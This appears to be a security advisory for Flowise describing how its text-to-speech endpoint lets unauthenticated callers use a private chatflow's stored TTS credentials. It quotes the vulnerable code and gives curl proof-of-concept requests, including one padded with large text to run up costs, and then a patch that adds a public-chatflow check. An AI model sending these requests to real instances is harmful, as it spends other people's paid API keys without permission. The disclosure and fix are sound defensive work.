Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials

'/api/v1/text-to-speech/generate',

// packages/server/src/controllers/text-to-speech/index.ts:36-42
if (workspaceId) {
    chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
} else {
    // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set
    chatflow = await chatflowsService.getChatflowById(chatflowId)  // NO isPublic check
    workspaceId = chatflow.workspaceId
}

const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({
    where: {
        id: chatflowId,
        ...(workspaceId ? { workspaceId } : {})  // No workspace filter when workspaceId is undefined
    }
})

// packages/server/src/controllers/text-to-speech/index.ts:51-66
const ttsConfig = JSON.parse(chatflow.textToSpeech)
const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true)
const providerConfig = ttsConfig[activeProviderKey]
provider = activeProviderKey
credentialId = providerConfig.credentialId  // Extracted from private chatflow

const credentialId = textToSpeechConfig.credentialId as string
const credentialData = await getCredentialData(credentialId ?? '', options)

# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)
CHATFLOW_ID="<any-chatflow-uuid-with-tts-enabled>"

# Step 2: Abuse the TTS credential to generate audio without authentication
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "attacker-chat-1",
    "chatMessageId": "msg-1",
    "text": "This is a test of unauthorized TTS generation using someone elses API key"
  }'

# Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials
# event: tts_start
# data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}}
# event: tts_data
# data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}}

# Step 3: Repeat with large text to incur costs
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "attacker-chat-2",
    "chatMessageId": "msg-2",
    "text": "'$(python3 -c "print('A' * 4096)")'"
  }'

// packages/server/src/controllers/text-to-speech/index.ts
if (chatflowId) {
    let chatflow;
    let workspaceId = req.user?.activeWorkspaceId;
    
    if (workspaceId) {
        chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
    } else {
        chatflow = await chatflowsService.getChatflowById(chatflowId)
        // Verify the chatflow is public before using its credentials
        if (!chatflow.isPublic) {
            throw new InternalFlowiseError(
                StatusCodes.UNAUTHORIZED,
                'TTS generation requires authentication for non-public chatflows'
            )
        }
        workspaceId = chatflow.workspaceId
    }
    // ... rest of the function
}